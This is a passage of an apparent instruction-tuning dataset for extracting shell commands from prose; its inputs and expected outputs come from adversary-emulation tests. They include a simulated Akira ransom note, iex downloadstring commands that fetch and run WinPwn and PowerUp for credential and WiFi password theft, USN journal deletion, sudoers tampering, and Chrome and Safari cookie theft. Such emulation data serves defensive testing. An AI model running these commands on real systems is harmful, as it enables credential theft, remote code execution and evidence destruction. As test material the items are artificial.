    "output": "{\"command_list\": [\"1..100 | ForEach-Object { $out = new-object byte[] 1073741; (new-object Random).NextBytes($out); [IO.File]::WriteAllBytes(\\\"c:\\\\test.$_.akira\\\", $out) }\\necho \\\"Hi friends\\\" >> $env:Userprofile\\\\Desktop\\\\akira_readme.txt\\necho \\\"\\\" >> $env:Userprofile\\\\Desktop\\\\akira_readme.txt\\necho \\\"Whatever who you are and what your title is if you' re reading this it means the internal infrastructure of your company is fully or partially dead, all your backups - virtual, physical - everything that we managed to reach - are completely removed. Moreover, we have taken a great amount of your corporate data prior to encryption  Well, for now let's keep all the tears and resentment to ourselves and try to build a constructive dialogue. We're fully aware of what damage we caused by locking your internal sources. At the moment. you have to know: \\\" >> $env:Userprofile\\\\Desktop\\\\akira_readme.txt\\necho \\\"1. Dealing with us you will save A LOT due to we are not interested in ruining your financially. We will study in depth your finance, bank income statements, your savings, investments etc. and present our reasonable demand to you. If you have an active cyber insurance, let us know and we will guide you how to properly use it. Also, dragging out the negotiation process will lead to failing of a deal\\\" >> $env:Userprofile\\\\Desktop\\\\akira_readme.txt\\necho \\\"2. Paying us you save your TIME, MONEY, EFFORTS and be back on track within 24 hours approximately. Our decryptor works properly on any files or systems, so you will be able to check it by requesting a test decryption service from the beginning of our conversation. [f you decide to recover on your own, keep in mind that you can permanently lose access to some files or accidently corrupt them \\u2014 in this case we won't be able to help.  \\\" >> $env:Userprofile\\\\Desktop\\\\akira_readme.txt\\necho \\\"3. The security report or the exclusive first-hand information that you will receive upon reaching an agreement is of a great value, since NO full audit of your network will show you the vulnerabilities that we' ve managed to detect and used in order to get into. identify backup solutions and upload your data.\\\" >> $env:Userprofile\\\\Desktop\\\\akira_readme.txt\\necho \\\"4. As for your data, if we fail to agree, we will try to sell personal information/trade secrets/databases/source codes \\u2014 generally speaking, everything that has a value on the darkmarket - to multiple threat actors at ones.\\\" >> $env:Userprofile\\\\Desktop\\\\akira_readme.txt\\necho \\\"Then all of this will be published in our blog -\\\" >> $env:Userprofile\\\\Desktop\\\\akira_readme.txt\\necho \\\"\\\" >> $env:Userprofile\\\\Desktop\\\\akira_readme.txt\\necho \\\"https://akira.onion\\\" >> $env:Userprofile\\\\Desktop\\\\akira_readme.txt\\necho \\\"\\\" >> $env:Userprofile\\\\Desktop\\\\akira_readme.txt\\necho \\\"5. We're more than negotiable and will definitely find the way to settle this quickly and reach an agreement which will satisfy both of us\\\" >> $env:Userprofile\\\\Desktop\\\\akira_readme.txt\\necho \\\"\\\" >> $env:Userprofile\\\\Desktop\\\\akira_readme.txt\\necho \\\"If you' re indeed interested in our assistance and the services we provide you can reach out to us following simple instructions:\\\" >> $env:Userprofile\\\\Desktop\\\\akira_readme.txt\\necho \\\"\\\" >> $env:Userprofile\\\\Desktop\\\\akira_readme.txt\\necho \\\"1. Install TOR Browser to get access to our chat room - https://www.torproject.org/download/.\\\" >> $env:Userprofile\\\\Desktop\\\\akira_readme.txt\\necho \\\"2. Paste this link - https://akira.onion\\\" >> $env:Userprofile\\\\Desktop\\\\akira_readme.txt\\necho \\\"3. Use this code - - to log into our chat.\\\" >> $env:Userprofile\\\\Desktop\\\\akira_readme.txt\\necho \\\"\\\" >> $env:Userprofile\\\\Desktop\\\\akira_readme.txt\\necho \\\"Keep in mind that the faster you will get in touch, the less damage we cause\\\" >> $env:Userprofile\\\\Desktop\\\\akira_readme.txt\\n\", \"docker build -t t1610 $PathtoAtomicsFolder/T1610/src/\\ndocker run --name t1610_container --rm -itd t1610 bash /tmp/script.sh\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For retrieving passwords stored by different software using custom techniques, use the LaZagne module with the following command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\nlazagnemodule -consoleoutput -noninteractive; You can extract WiFi credentials locally by executing this WinPwn command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\nwificreds -consoleoutput -noninteractive",
    "output": "{\"command_list\": [\"iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\\nlazagnemodule -consoleoutput -noninteractive\", \"iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\\nwificreds -consoleoutput -noninteractive  \"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This technique involves copying cmd.exe to lsm.exe and executing it from a non-standard path, which can be achieved with the command: copy C:\\Windows\\System32\\cmd.exe C:\\lsm.exe\nC:\\lsm.exe /c echo T1036.003 > C:\\T1036.003.txt\n; For deleting the persistent log of file changes on the C: drive, run the command: fsutil usn deletejournal /D C:\\",
    "output": "{\"command_list\": [\"copy C:\\\\Windows\\\\System32\\\\cmd.exe C:\\\\lsm.exe\\nC:\\\\lsm.exe /c echo T1036.003 > C:\\\\T1036.003.txt\\n\", \"fsutil usn deletejournal /D C:\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To set the sudo caching timestamp_timeout to an unlimited value, which should only be done in non-production environments, use the following command:\nsudo sed -i 's/env_reset.*$/env_reset,timestamp_timeout=-1/' /usr/local/etc/sudoers\nsudo visudo -c -f /usr/local/etc/sudoers\n; Warning: This modification is risky outside of 'visudo'. For testing purposes only, disable tty_tickets caching with this command:\nsudo sh -c \"echo Defaults \"\\'!\\'\"tty_tickets >> /etc/sudoers\"\nsudo visudo -c -f /etc/sudoers",
    "output": "{\"command_list\": [\"sudo sed -i 's/env_reset.*$/env_reset,timestamp_timeout=-1/' /usr/local/etc/sudoers\\nsudo visudo -c -f /usr/local/etc/sudoers\\n\", \"sudo sh -c \\\"echo Defaults \\\"'!'\\\"tty_tickets >> /etc/sudoers\\\"\\nsudo visudo -c -f /etc/sudoers\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This test simulates an adversary leveraging the AWS Run Command service to execute commands on EC2 instances by running the following multi-step command: Import-Module \"PathToAtomicsFolder/T1651/src/T1651-1/AWSSSMAttack.ps1\" -Force\n$access_key = \"#{access_key}\"\n$secret_key = \"#{secret_key}\"\n$session_token = \"#{session_token}\"\n$aws_profile = \"#{profile}\"\n$region = \"#{region}\"\nSet-AWSAuthentication -AccessKey $access_key -SecretKey $secret_key -SessionToken $session_token -AWSProfile $aws_profile -AWSRegion $region\nInvoke-Terraform -TerraformCommand init -TerraformDirectory \"PathToAtomicsFolder/T1651/src/T1651-1\"\nInvoke-Terraform -TerraformCommand apply -TerraformDirectory \"PathToAtomicsFolder/T1651/src/T1651-1\" -TerraformVariables @(\"profile=T1651-1\", \"region=$region\")\nInvoke-SSMAttack -AWSProfile \"T1651-1\" -TerraformDirectory \"PathToAtomicsFolder/T1651/src/T1651-1\"\nInvoke-Terraform -TerraformCommand destroy -TerraformDirectory \"PathToAtomicsFolder/T1651/src/T1651-1\" -TerraformVariables @(\"profile=T1651-1\", \"region=$region\")\n; An adversary might try running a malicious script via AutoHotKey rather than standard terminals, displaying a messagebox and launching calculator upon success, using the following command: Start-Process -FilePath \"#{autohotkey_path}\" -ArgumentList \"#{script_path}\"\n",
    "output": "{\"command_list\": [\"Import-Module \\\"PathToAtomicsFolder/T1651/src/T1651-1/AWSSSMAttack.ps1\\\" -Force\\n$access_key = \\\"#{access_key}\\\"\\n$secret_key = \\\"#{secret_key}\\\"\\n$session_token = \\\"#{session_token}\\\"\\n$aws_profile = \\\"#{profile}\\\"\\n$region = \\\"#{region}\\\"\\nSet-AWSAuthentication -AccessKey $access_key -SecretKey $secret_key -SessionToken $session_token -AWSProfile $aws_profile -AWSRegion $region\\nInvoke-Terraform -TerraformCommand init -TerraformDirectory \\\"PathToAtomicsFolder/T1651/src/T1651-1\\\"\\nInvoke-Terraform -TerraformCommand apply -TerraformDirectory \\\"PathToAtomicsFolder/T1651/src/T1651-1\\\" -TerraformVariables @(\\\"profile=T1651-1\\\", \\\"region=$region\\\")\\nInvoke-SSMAttack -AWSProfile \\\"T1651-1\\\" -TerraformDirectory \\\"PathToAtomicsFolder/T1651/src/T1651-1\\\"\\nInvoke-Terraform -TerraformCommand destroy -TerraformDirectory \\\"PathToAtomicsFolder/T1651/src/T1651-1\\\" -TerraformVariables @(\\\"profile=T1651-1\\\", \\\"region=$region\\\")\\n\", \"Start-Process -FilePath \\\"#{autohotkey_path}\\\" -ArgumentList \\\"#{script_path}\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Malware can exploit Chrome's remote debugging feature for post-exploitation by using the following command to bypass encryption and access cookies: killall 'Google Chrome'\nsleep 1\nopen -a \"/Applications/Google Chrome.app/Contents/MacOS/Google Chrome\" --args --remote-debugging-port=1337 --remote-allow-origins=http://localhost/\nsleep 1\n/tmp/WhiteChocolateMacademiaNut/chocolate -d cookies -p 1337; To copy Safari BinaryCookies files as demonstrated in Atomic Stealer, use the following command: osascript -e 'tell application \"Finder\"' -e 'set destinationFolderPath to POSIX file \"#{destination_path}\"' -e 'set safariFolder to ((path to library folder from user domain as text) & \"Containers:com.apple.Safari:Data:Library:Cookies:\")' -e 'duplicate file \"Cookies.binarycookies\" of folder safariFolder to folder destinationFolderPath with replacing' -e 'end tell'",
    "output": "{\"command_list\": [\"killall 'Google Chrome'\\nsleep 1\\nopen -a \\\"/Applications/Google Chrome.app/Contents/MacOS/Google Chrome\\\" --args --remote-debugging-port=1337 --remote-allow-origins=http://localhost/\\nsleep 1\\n/tmp/WhiteChocolateMacademiaNut/chocolate -d cookies -p 1337\", \"osascript -e 'tell application \\\"Finder\\\"' -e 'set destinationFolderPath to POSIX file \\\"#{destination_path}\\\"' -e 'set safariFolder to ((path to library folder from user domain as text) & \\\"Containers:com.apple.Safari:Data:Library:Cookies:\\\")' -e 'duplicate file \\\"Cookies.binarycookies\\\" of folder safariFolder to folder destinationFolderPath with replacing' -e 'end tell'\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr 